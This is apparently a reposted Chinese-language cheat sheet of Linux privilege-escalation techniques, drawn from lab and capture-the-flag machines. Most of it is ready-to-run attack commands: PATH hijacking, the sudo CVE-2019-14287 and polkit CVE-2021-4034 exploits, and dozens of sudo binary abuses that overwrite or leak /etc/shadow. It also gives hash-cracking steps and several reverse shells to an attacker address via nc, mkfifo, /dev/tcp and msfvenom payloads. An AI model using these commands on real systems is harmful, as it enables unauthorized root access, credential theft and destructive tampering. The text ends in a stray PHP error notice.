  2. 解压后(sudo tar vjxf debian_ssh_dsa_1024_x86.tar.bz2),ls多一个rsa文件夹 cd到rsa/2048下,ls里面有很多文件对(分别是公钥和私钥),⽤grep -lr 在其中搜索你枚举或搜索到的公钥中前20-30个字符(之前获得的)。找到后,取⽤对应的私钥,完成ssh的登录(sudo ssh -i 私钥 用户名@ip)。 (带pub是公钥)

如果grep到一个公钥

在文件有suid文件下写入提权(创建软链接)

前提:cat一个文件,里面有它执行了ps

ln -s /bin/sh ps 创建软连接 将有sh封装到ps里面

export PATH=.:$PATH

./ procwatch 执行文件就可以提权了

这是靶机mercury里的

cd /tmp touch tail echo ‘/bin/bash’ > tail chmod 777 tail export PATH=/tmp:$PATH

./tail

直接这样环境变量劫持不行sudo运行时默认会启用env_reset选项将从命令行设置的环境变量复原因此通常情况下,当使用 sudo 命令时,通过本地修改环境变量也没法替换目标文件来进行提权但如果sudo在配置时为用户设置了SETENV选项,情况就不一样了。SETENV会允许用户禁用env_reset选项,允许sudo使用当前用户命令行中设置的环境变量,加个sudo –preserve-env=PATH /usr/bin/check_syslog.sh就可以了

2.用软连接将vi装到tail里面

ln -s /bin/vi tail

export PATH=.:$PATH

echo $PATH

sudo –preserve-env=PATH /usr/bin/check_syslog.sh

–preserve-env=PATH 这个是因为前面要设置环境变量

成功启动了一个vi 输入 :!bash

(root:root)setenv:/usr/bin/check_syslog.sh 是有root执行,但是要设置env

CVE-2019-14287(sudo<1.8.28)

sudo -l

(env_reset, env_keep+=LD_PRELOAD

User user may run the following commands on this host:

(ALL, !root) NOPASSWD: /bin/bash

(ALL:!root) :这表示 <user>可以以任何⽤户( ALL )的身份运⾏命令,除了 root ⽤户( !root )。)

sudo -u#-1 /bin/bash

如果您指定UID为-1(或其⽆符号等效值:4294967295),Sudo会错误地将其读取为0(即root)。这意味着通过指定UID为-1或4294967295,尽管被明确禁⽌这样做,您仍然可以以root身份执⾏命令。值得注意的是,仅当您在上述配置中被授予⾮root sudo权限时,这种⽅法才有效。

sudo -V | grep version 可以产看sudo的版本

Polkit(CVE-2021-4034)

漏洞影响2009年5月至今的所有polkit版本 由于polkit是系统预装工具,所有存在polkit的linux系统均受影响 如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等 -判断:dpkg -l policykit-1 -利用: git clone https://github.com/berdav/CVE-2021-4034.gitcd CVE-2021-4034/ make ./cve-2021-4034

这是靶机 的connect-the-dots

find后发现suid权限文件有个polkit

ls -laih 看它权限(一个文件 polkit-agent-helper-1)

用polkit( 操作文件需要权限它helper会给你一个界面,它有suid全面,看如何可以调用helper就可以提权 )

systemd-run(临时启用高权限的东西,,-t是伪终端 只要找一个调用hellp的伪终端就可以)

system-run -t /bin/bash提权成功

sudo -l(delx : delx)BOPASSWD: /bin/ld.so

直接 sudo -u delx /bin/ld.so /bin/sh 提权

简单绕过waf

背景

扩展过滤器加简单waf

启动“ sudo -l ”并列出一个我们可以作为“root”执行的脚本。

当我们尝试执行它时,系统提示我们一条消息*“读取文件无效”*

sudo -u root /usr/bin/blackrose 很明显我们无权访问该脚本

在尝试阅读不同的扩展之后,我们找到了一个对我们有用的扩展,即“ PHP

写执行/bin/sh语句的php文件有waf

rbash限制

echo $PATH 看路径

echo /home/tom/usr/bin/* (看该路径下可以执行的命令有什么)

绕过rbash后用

export PATH=$PATH:/bin/

export PATH=/usr/sbin:/usr/bin:/sbin:/bin 补充环境变量下的命令

https://m.freebuf.com/vuls/376922.html

https://cloud.tencent.com/developer/article/1680551

https://www.freebuf.com/articles/system/188989.html

这里面的ssh 加-t参数bypass的时候要记得添加环境变量

echo $PATH

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

  • 使用 / 符号

  • 使用 cp 命令

  • 使用 ftp, gdb, more, man, less, vim, rvim 等命令

  • 使用 awk, find, expect, python, php, perl, lua, ruby 等编程语言或工具

  • 使用 ssh 命令

  • 使用 git 命令

  • 使用 pico 命令

  • 使用 vi 命令

  • echo绕过lshell echo os.system(“/bin/bash”)

Serv -u提权

https://blog.csdn.net/heli200482128/article/details/77833881

http://chenall.net/post/linux-sudo-config/有关sudoders的介绍

直接searchsploit 找exp

看改服务的版本筛选出exp上去执行

ht修改/etc/sudoers文件提权

ht是一个编辑器

linux提权汇总

sudo /usr/local/bin/ht

linux提权汇总

我的kali需要shift加f3 打开/etc/sudoers文件

修改用户 all=(all)all

linux提权汇总

sudo /bin/bash提权

或者

发现有ht后

出现Error opening terminal: xterm-256color. 的解决办法export TERM=xterm

loneferret@Kioptrix3:~$ sudo ht /etc/users  
Error opening terminal: xterm-256color.  
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht /etc/users
然后按f6 更改文本 看到
loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht  
简单地替换“!” 通过一个空格 (0x20),因此运行 /usr/bin/su
但是sudo /user/bin/su不行
which su su在/bin/su下
改loneferret ALL=NOPASSWD: /bin/su, /usr/local/bin/ht  
成功

chkrootkit提权

searchsploit chkrootkit 第二个 或者谷歌搜索可以看它的利用

复现步骤就是任意用户可以在/tmp下写入反弹shell到update文件里然后执行它,

echo “/usr/bin/nc -e /bin/sh 192.168.44.143 4444” > /tmp/update

chmod 777 update

./upadte

kali监听

docker提权

docker pull alpine

  • docker pull此命令用于从容器注册表(例如 Docker Hub)中提取映像。

  • alpine这是您要拉取的镜像的名称。在本例中,它指的是 Alpine Linux 映像

    docker images

    您可以通过运行以下命令来验证映像是否已下载:alpine您应该在本地 Docker 镜像列表中看到该镜像的条目。

docker run -v /:/mnt -it alpine

  • docker run该命令用于运行Docker容器。

  • -v /:/mnt此选项将主机的根目录挂载/到路径 的容器中/mnt。这意味着可以在 容器内访问主机的根目录/mnt

  • -it这些选项使容器具有交互性(-i用于交互和-t分配伪 TTY)。

  • alpine这是您要运行的 Docker 映像的名称。

因此,当您运行此命令时,它会在基于 Alpine Linux 映像的新容器中启动交互式 shell,并将主机的整个根目录挂载在/mnt容器内。

这样的root权限是不完整的,可以vim改/etc/passwd文件

apach2

linpeas.sh看到

/etc/apache2/apache2.conf是可写的任意用户

先将这些复制到本地,然后修改

为mahakal,上传一个shell.php到html下

重启靶机,访问shell.php,反弹回来mahakal用户

sudo apt

sudo -l

(Matching Defaults entries for jackie on localhost:

env_reset, mail_badpass,

secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sn

ap/bin, use_pty

User jackie may run the following commands on localhost:

(root) NOPASSWD: /usr/bin/ap)

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

(-o APT::Update::Pre-Invoke::=/bin/bash :这是⼀个 apt 命令的选项,⽤于设置在运⾏ apt update 之前执⾏的预处理脚本。::类似于名字空间,逐级访问⼦配置)

拓展和说明

如下两种⽅法,在此例中不⽣效,但不是都不⾏,取决于版本等环境因素:

sudo apt changelog apt

!/bin/sh

TF=$(mktemp)

echo ‘Dpkg::Pre-Invoke {“/bin/sh;false”}’ > $TF

sudo apt install -c $TF sl

sudo apache2

sudo -l

(Matching Defaults entries for user on this host:

env_reset, env_keep+=LD_PRELOAD

User user may run the following commands on this host:

(root) NOPASSWD: /usr/sbin/apache2)

sudo apache2 -f /etc/shadow

(,-f,指定替代 ServerConfigFile,使⽤此选项加载 /etc/shadow ⽂件,将产⽣⼀条错误信息,却包含了 /etc/shadow ⽂件的第⼀⾏数据。由此产⽣利⽤路径。)

在kali中

sudo john root_hash –wordlist=/usr/share/wordlists/rockyou.txt

回到靶机:

su

sudo ash

sudo -l

(Matching Defaults entries for jackie on localhost:

env_reset, mail_badpass,

secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sn

ap/bin, use_pty

User jackie may run the following commands on localhost:

(root) NOPASSWD: /usr/bin/ash)

sudo /usr/bin/ash

ash 是 Bourne shell(sh)的⼀个轻量级版本,它消耗的系统资源更少,通常⽤于嵌⼊式系统和资源有限的环境。不管什么shell,只要是shell的直接以sudo执⾏那肯定可以提权。

sudo awk

sudo -l

(Matching Defaults entries for jackie on localhost:

env_reset, mail_badpass,

secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sn

ap/bin, use_pty

User jackie may run the following commands on localhost:

(root) NOPASSWD: /usr/bin/awk)

sudo /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’

BEGIN {system(“/bin/bash”)}’是awk的语法,是传递给 awk 的脚本。 BEGIN 是 awk 的⼀个特殊模式,表示在处理任何输⼊⾏之前执⾏的动作。在这个脚本中, BEGIN 块中的唯⼀动作是调⽤ system函数。 system 函数⽤于在 awk 内部执⾏ shell 命令,这⾥的命令是 /bin/bash ,也就是启动⼀个新的 bash shell

sudo apt

sudo -l

((root) NOPASSWD: /usr/bin/apt)

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

(-o APT::Update::Pre-Invoke::=/bin/bash :这是⼀个 apt 命令的选项,⽤于设置在运⾏ apt update 之前执⾏的预处理脚本。::类似于名字空间,逐级访问⼦配置)

apt-get⽤法与此相同

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash

sudo apache2

sudo -l

((root) NOPASSWD: /usr/sbin/apache2)

sudo apache2 -f /etc/shadow (利用报错爆出信息)

在kali中

sudo john root_hash –wordlist=/usr/share/wordlists/rockyou.txt

回到靶机:

su

解释

Apache2的帮助信息提示,它有⼀个⽀持加载替代配置⽂件的选项,-f,指定替代 ServerConfigFile。使⽤此选项加载 /etc/shadow ⽂件,将产⽣⼀条错误信息,却包含了 /etc/shadow ⽂件的第⼀⾏数据。由此产⽣利⽤路径。

sudo ash

sudo -l

((root) NOPASSWD: /usr/bin/ash)

sudo /usr/bin/ash

ash 是 Bourne shell(sh)的⼀个轻量级版本,它消耗的系统资源更少,通常⽤于嵌⼊式系统和资源有限的环境。不管什么shell,只要是shell的直接以sudo执⾏那肯定可以提权。

sudo awk

sudo -l

(Matching Defaults entries for jackie on localhost:

env_reset, mail_badpass,

secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sn

ap/bin, use_pty

User jackie may run the following commands on localhost:

(root) NOPASSWD: /usr/bin/awk)

sudo /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’

(BEGIN {system(“/bin/bash”)}’是awk的语法,是传递给 awk 的脚本。 BEGIN 是 awk 的⼀个特殊模式,表示在处理任何输⼊⾏之前执⾏的动作。在这个脚本中, BEGIN 块中的唯⼀动作是调⽤ system函数。 system 函数⽤于在 awk 内部执⾏ shell 命令,这⾥的命令是 /bin/bash ,也就是启动⼀个新

的 bash shell)

sudo base64

sudo -l

(root) NOPASSWD: /usr/bin/base64

cat /etc/shadow

RedteamNotes=/etc/shadow

sudo base64 “$RedteamNotes” | base64 -d

在kali中

vim root_hash2

cat root_hash2

root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ40sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::

sudo john root_hash2 –wordlist=/usr/share/wordlists/rockyou.txt

回到靶机:su

base32 、 base58、basenc、basez 等可以⽤同的⽅法

sudo bash

sudo -l

(root) NOPASSWD: /usr/bin/bash

sudo /bin/bash

包括刚刚讲的ash和现在这个bash,以及如下这些,都可以⽤⼏乎相同的语法,实现提权,因为他们本身就是shell。

/usr/bin/csh

/usr/bin/dash

/usr/bin/sh

/usr/bin/tclsh

/usr/bin/zsh

sudo cp

sudo -l

(root) NOPASSWD: /usr/bin/cp

这种利⽤是有损的,务必提前为靶机做快照,利⽤后还原靶机后,再继续做其他实验。

在kali中:

mkpasswd -m sha-512 123456

前面编辑加个root

root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7:::

在靶机中:

RedteamNotes=/etc/shadow

TF=$(mktemp)

TF=$(mktemp)做临时⽂件赋值给TF,这种做临时⽂件的⽅式是专业的做法,是最佳实践

echo’root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7:::’ > $TF

echo $TF

(/tmp/tmp.bpJlJC5XIv)

cat /tmp/tmp.bpJlJC5XIv

sudo /usr/bin/cp $TF $RedteamNotes

su

Password: //使⽤密码123456,在kali⽣成密码时设定的。

sudo cpulimit

sudo -l

((root) NOPASSWD: /usr/bin/cpulimit)

sudo cpulimit -l 100 -f /bin/bash

cpulimit 是⼀个⼯具,⽤于限制⼀个进程的 CPU 使⽤率。 -l 参数后⾯跟的是百分⽐,这⾥的 100

意味着限制 CPU 使⽤率为 100%。

-f 参数是指定需要限制 CPU 使⽤率的命令或程序。在这⾥, /bin/sh 是被限制的命令。

总的来说, sudo cpulimit -l 100 -f /bin/sh 这个命令的⽬的是以超级⽤户权限限制 /bin/sh 命令的 CPU 使⽤率不超过 100%。

随后按这个标准启动进程。所以我们获得了提权。

sudo curl

sudo -l

((root) NOPASSWD: /usr/bin/curl)

这种利⽤是有损的,务必提前为靶机做快照,利⽤后还原靶机后,再继续做其他实验。

在kali中,⽤我们⾃⼰⽣成的密码hash构造shadow格式的⽂件,然后架设简易web服务备⽤。

mkpasswd -m sha-512 123456

$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1

vim shadow_bespoke

cat shadow_bespoke(加个root:)

sudo php -S 0:80

在靶机端:

sudo curl http://10.10.10.10/shadow_bespoke-o /etc/shadow

su

cat /etc/shadow 的结果只有root账号,证明这种提权⽅式是有损的。

-o 参数后⾯跟的是你要保存⽂件的位置。在这⾥, /etc/shadow 是保存下载⽂件的路径。要和wget的-O是保存区分开。

sudo date

sudo -l

(root) NOPASSWD: /usr/bin/date

sudo date -f /etc/shadow

在kali中

vim root_hash

cat root_hash

root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ40sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::

sudo john root_hash –wordlist=/usr/share/wordlists/rockyou.txt

回到靶机:

su

-f 参数允许 date 从给定的⽂件中读取⽇期和时间。这个⽂件应包含⼀⾏或多⾏⽇期和时间信息。虽然报错 /etc/shadow ⽂件却被显示出来

sudo dd

sudo -l

(root) NOPASSWD: /usr/bin/dd

这种利⽤是有损的,务必提前为靶机做快照,利⽤后还原靶机后,再继续做其他实验

在kali中,⽤我们⾃⼰⽣成的密码hash构造shadow格式数据。

┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]

└─$ mkpasswd -m sha-512 123456

$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1

┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]

└─$ vim shadow_bespoke

┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]

└─$ cat shadow_bespoke

root:$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1:17298:0:99999:7:::

在靶机中:

echo

‘root:$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1:17298:0:99999:7:::’ | sudo dd of=/etc/shadow

su

dd 是⼀个命令⾏⼯具,常⽤在 Unix 和 Linux 系统中,⽤于对原始数据进⾏低级别的复制和转换。它⾮常灵活,可以⽤于许多任务,如复制数据、转换数据的编码、⽣成⽂件等。

if是输⼊,of是输出。本例中我们管道符实现输⼊。

sudo dstat

sudo -l

(root) NOPASSWD: /usr/bin/dstat

找到插件⽬录,准备按照格式撰写利⽤功能的插件

find / -name dstat -type d 2>/dev/null

ls /usr/share/dstat

cd /usr/share/dstat

ls -liad .

173021 drwxrwxrwx 3 root root 4096 May 18 09:00 .

确认可以尝试,执⾏具体利⽤代码:

vim dstat_exploit.py

cat dstat_exploit.py

import os; os.execv(“/bin/bash”, [“bash”])

sudo dstat –exploit

dstat是⼀个⽤于系统监控和诊断的⼯具,它提供了实时的性能统计数据和系统资源使⽤情况。通过使⽤dstat命令,您可以获得关于CPU、内存、磁盘、⽹络等⽅⾯的详细信息。

它允许创建⾃定义插件,并以 dstat –myplugin 执⾏

利⽤的名字后缀就是插件执⾏时的引⽤名。

sudo ed

sudo -l

jackie@RedteamNotes:~$ sudo ed

!/bin/bash

root@RedteamNotes:/home/jackie# whoami

root

主要是,你要知道ed是⼀个编辑器,⼀个基于⾏的⽂本编辑器,它被设计成在终端中进⾏操作,并且没有图形⽤户界⾯。

!/bin/sh 是在 ed 编辑器中输⼊的命令。这个命令告诉 ed 执⾏⼀个外部的 shell 脚本。

不知道ed编辑器的基本交互⾏⽂,进度ed编辑器,但你可能不知道怎么交互。

使⽤ q 命令退出编辑器

sudo env

sudo -l

sudo env /bin/bash

env 通常⽤于设置和显示环境变量的值。在本利⽤中, env 命令⽤于在指定的环境下执⾏后⾯的命令。

sudo exiftool(7.44-12.23)

sudo -l

查看exiftoo版本信息

stux@ubuntu:~$ exiftool -ver

12.05

根据CVE-2021-22204,exiftool的12.05可以存在漏洞。⼀般认为exiftool 7.44-12.23都可能存在漏洞。根据利⽤⽂件执⾏如下利⽤。

vi payload

(metadata “c${system(‘/bin/bash’)};”)

bzz payload payload.bzz

djvumake exploit.djvu INFO=’1,1′ BGjp=/dev/null ANTz=payload.bzz

sudo exiftool exploit.djvu

BZZ是⼀种⽂件压缩格式,它提供了⾼压缩⽐和快速解压缩速度。

DjVuMake是⽤于创建和转换DjVu⽂件的⼯具。DjVu是⼀种图像压缩⽂件格式,主要⽤于扫描⽂档和电⼦书。DjVu⽂件通常⽤于在⽹络上共享⼤型扫描⽂档,以便更快地加载和浏览。

sudo expect

sudo -l

sudo expect -c ‘spawn /bin/bash;interact’

expect 能够模拟⽤户的键盘输⼊(例如,密码和其他响应),因此可以⾃动化需要⽤户交互的过程。它主要⽤于脚本和其他⾃动化环境中。

整个命令 sudo expect -c ‘spawn /bin/bash;interact’ 将以 root ⽤户的身份在新的 shell 进程中开启⼀个交互式会话。 -c 允许你直接在命令⾏中输⼊ expect 脚本代码,⽽不是从⽂件中读取。

sudo fail2ban(利用mv cp)

监控日志文件:Fail2ban会监视指定的日志文件,通常是与身份验证(例如SSH、FTP、HTTP等)相关的日志。它会检查日志文件中的登录尝试,尤其是失败的登录尝试。

这个有点乱

sudo -l

((root) NOPASSWD: /etc/init.d/fail2ban restart)

查找fail2ban的配置⽂件:

find / -name “fail2ban*” -type d 2>/dev/null

find /etc -writable -type d 2>/dev/null

(/etc/fail2ban/action.d)

fail2ban的规则⽂件⽂件夹可写。

在配置⽂件中有:

cd /etc/fail2ban

jackie@RedteamNotes:/etc/fail2ban$ ls -liah jail.conf

(442894 -rw-r–r– 1 root root 25K May 22 09:27 jail.conf)

通过如下⽅式修改⽤户权限,为了其可编辑

jackie@RedteamNotes:/etc/fail2ban/action.d$ ls -liah iptables-multiport.conf

395004 -rw-r–r– 1 root root 1.5K Nov 23 2020 iptables-multiport.conf

jackie@RedteamNotes:/etc/fail2ban/action.d$ mv iptables-multiport.conf iptables

multiport.conf.bak

jackie@RedteamNotes:/etc/fail2ban/action.d$ cp iptables-multiport.conf.bak

iptables-multiport.conf

jackie@RedteamNotes:/etc/fail2ban/action.d$ ls -liah iptables-multiport.conf

394582 -rw-r–r– 1 jackie jackie 1.5K May 22 15:59 iptables-multiport.conf

jackie@RedteamNotes:/etc/fail2ban/action.d$ chmod 666 iptables-multiport.conf

jackie@RedteamNotes:/etc/fail2ban/action.d$ ls -liah iptables-multiport.conf

394582 -rw-rw-rw- 1 jackie jackie 1.5K May 22 15:59 iptables-multiport.conf

这种权限变化是可能的,因为⽤户”jackie”在当前⽬录(”/etc/fail2ban/action.d”)下对⽂件”iptables-multiport.conf”具有写权限。然后修改iptables-multiport.conf,加⼊反弹shell逻辑

同时你⼀定要知道,mv是移动⽂件,属主不变,cp是创建⽂件属主会是操作者的数组。这很关键。

编辑文件

jackie@RedteamNotes:/etc/fail2ban/action.d$ vim iptables-multiport.conf

jackie@RedteamNotes:/etc/fail2ban/action.d$ cat iptables-multiport.conf | grep

actionban

# Notes.: command executed once before each actionban command

# Option: actionban

# actionban = <iptables>-I f2b-<name>1 -s <ip>-j <blocktype>

actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10

⽤到给我们的sudo权限,重启fail2ban:

jackie@RedteamNotes:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart

Restarting fail2ban (via systemctl): fail2ban.service.

在kali中建⽴监听

sudo nc -lvnp 9595

尝试(多次失败)

然后在kali中快速⽤空密码登录jackie的ssh,之所以⽤空密码还是想快速产⽣失败登录,因为jail.conf中设置的时间就很短

sudo ssh jackie@10.10.10.11 多次尝试

在kali的监听shell中获得反弹shell。

sudo find

sudo -l

sudo find . -exec /bin/bash ; -quit

(说明在pdf78)

sudo flock

sudo -l

sudo flock -u / /bin/bash

flock : 这是⼀个在Linux中管理⽂件锁定的实⽤程序。它可以⽤来协调多个进程对⽂件或⽂件系统的访问,避免这些进程同时访问同⼀资源导致的问题。 -u : 这是⼀个flock的选项,表示解锁。

sudo flock -u / /bin/bash 这条命令的含义就是以管理员权限来解锁对根⽬录的锁定,并以bashshell来执⾏这个操作。

sudo ftp

sudo -l

sudo ftp

ftp> !/bin/bash

! 在这⾥是⼀个特殊的字符,表示要暂时离开 FTP 会话并在本地 shell 中执⾏命令。!的这个⽤法在vi、ed等编辑器场景下也存在。可以总结为⼀种通⾏做法。

sudo gcc

sudo -l

sudo gcc -wrapper /bin/bash,-s .

1. -wrapper :这是 gcc 的⼀个选项,它允许你在 gcc 调⽤实际编译器或链接器之前,先调⽤⼀个包装器(wrapper)脚本或程序。

2. ,-s :是 bash 带的⼀个选项,它使得 bash 在读取到 EOF 时不会退出(通常⽤于从标准输⼊读取命令)

3. 最后那个 . 就是编译的源码,你给他任意源码也⾏,但因为不想编译任何东⻄,所以最简略的就是给他很通⽤的东⻄——当前⽬录的全部。如果你有具体的⽂件或不存在的⽂件,给他,没问题

sudo gdb

sudo -l

sudo gdb -nx -ex ‘!bash’ -ex quit

1. gdb : 这是GNU Debugger的缩写,⼀个被⼴泛使⽤的源代码级别的调试器,可以⽤来调试各种程

序。它主要⽤于调试C和C++语⾔编写的程序,但也⽀持其他语⾔,如Fortran、Ada等。

2. -nx : “no execute”这个选项告诉gdb在启动时不读取任何 .gdbinit ⽂件。 .gdbinit ⽂件是⼀个配

置⽂件,gdb在启动时会读取这个⽂件中的命令。

3. -ex : “execute”这个选项允许你在gdb启动时执⾏⼀段gdb命令。”execute”

4. ‘!bash’ : 在gdb中, ! ⽤来执⾏shell命令,因此 !bash 就是在gdb中启动⼀个bash shell。

5. -ex quit : 这个命令让gdb在执⾏完前⾯的命令之后退出

sudo git

sudo -l

sudo git branch –help

!/bin/sh

branch :这是 git 的⼀个⼦命令,⽤于处理代码库中的分⽀。你可以使⽤ git branch 创建、列出、删除分⽀。

git的使⽤有特别多种变体,也是为了适应不同的渗透环境。

git⽤的标准manual⼯具,然后就可以⽤manual提权的思路了。和less、more的类似。

sudo gzip/gunzip

sudo -l

sudo gzip -f /etc/shadow -t

会报错出信息

在kali中

vim root_hash

cat root_hash

root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ40sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::

sudo john root_hash –wordlist=/usr/share/wordlists/rockyou.txt

回到靶机:

su

-f : 这是 gzip 命令的⼀个选项,意味着”强制”。如果⽬标⽂件已经存在,gzip 会询问是否覆盖。-f参数会使 gzip 不询问⽽直接覆盖⽂件。

-t : 这是 gzip 命令的另⼀个选项,⽤来测试压缩⽂件的完整性。如果压缩⽂件没有问题,该命令将不输出任何内容。如果有问题,它会显示错误。

在 gzip 命令中, -t 参数的主要作⽤是测试已经压缩的 .gz ⽂件的完整性。当⽤ -t 参数运⾏gzip 时, gzip 将检查指定的压缩⽂件,以确保它没有被损坏。

但是,你在 sudo gzip -f /etc/shadow -t 命令中使⽤ -t 参数,此处它被⽤作⼀个技巧来尝试读取 /etc/shadow ⽂件。在这个上下⽂中,它是⼀个提权操作的⼀部分,因为 sudo 允许命令以 root

⽤户的权限运⾏。当 gzip -t 尝试读取和测试 /etc/shadow 时,它实际上访问了这个包含敏感信息的⽂件。

因此,虽然 -t 的常规⽤途是⽤来测试 .gz ⽂件的完整性,但在这个特定的命令中,它作为⼀个间接的⽅式被⽤来访问敏感的系统⽂件。

提示: gunzip提权利⽤⽤法于此相同。

sudo hping3

sudo -l

sudo hping3

hping3> /bin/bash

Hping3 是⼀个强⼤的⽹络⼯具,主要⽤于分析和测试⽹络环境,⽣成各种类型的 ICMP、IP、TCP、UDP 或 RAW-IP 协议数据包。

在交互式命令⾏中启动新的bash会话。

sudo iftop

sudo -l

sudo iftop

!/bin/bash

iftop 是⼀个命令⾏的⽹络流量监控⼯具,⽤于实时显示⼀个⽹络接⼝的带宽使⽤情况。类似于 top命令,它可以提供活动的⽹络连接和使⽤带宽的实时视图

sudo java

sudo -l

sudo msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f jar -o shell.jar

sudo php -S 0:80

同时在kali中建⽴监听

sudo nc -lvnp 4444

在靶机中下载shell.jar后,利⽤

sudo /usr/bin/java -jar shell.jar

在kali中收到反弹shell:

sudo nc -lvnp 4444

sudo jjs

sudo -l

在kali中建⽴监听:

sudo nc -lvnp 9595

在靶机中执⾏构造的语句:

jackie@RedteamNotes:~$ echo

“Java.type(‘java.lang.Runtime’).getRuntime().exec([‘/bin/bash’,’-c’,’exec

5<>/dev/tcp/10.10.10.10/9595;cat <&5 | while read line; do $line 2>&5 >&amp5;

done’]).waitFor()” | sudo jjs

Warning: The jjs tool is planned to be removed from a future JDK release

jjs> Java.type(‘java.lang.Runtime’).getRuntime().exec([‘/bin/bash’,’-c’,’exec

5<>/dev/tcp/10.10.10.10/9595;cat <&5 | while read line; do $line 2>&5 >&amp5;

done’]).waitFor()

在kali中收到反弹shell,交互性待完善。

但是提升交互性提升失败, python3 -c “import pty;pty.spawn(‘/bin/bash’)” 等尝试均失效。怎么办?还有办法吗?现在不提⾼也可以了,但你就⾮想提⾼下交互性,重新规划管道和信息流?其实新建⼀个反弹shell是最快的,最透明的。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

在kali中收shell就好了

sudo nc -lvnp 4444

# 渗透测试
linux提权汇总

linux提权汇总 已在FreeBuf发表 0 篇文章
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51